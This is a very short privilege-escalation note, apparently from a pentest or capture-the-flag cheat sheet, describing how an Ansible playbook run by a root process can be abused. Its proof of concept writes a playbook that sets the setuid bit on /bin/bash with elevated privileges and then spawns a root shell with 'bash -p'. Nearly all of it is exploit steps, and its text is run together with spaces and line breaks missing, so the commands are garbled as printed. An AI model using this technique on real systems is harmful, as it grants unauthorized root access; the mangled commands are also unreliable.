If an ansible file is loaded by a root process : Privilege Escalation
PoC
# Create a .yml file just like the other onenanoevil.yml# Content :-hosts:localhosttasks:-name:RShellcommand:chmodu+s/bin/bashbecome:true# ---# save the file CTRL+O CTRL+X# ---ls-lah/bin/bashansible-playbookevil.ymlbash-p# root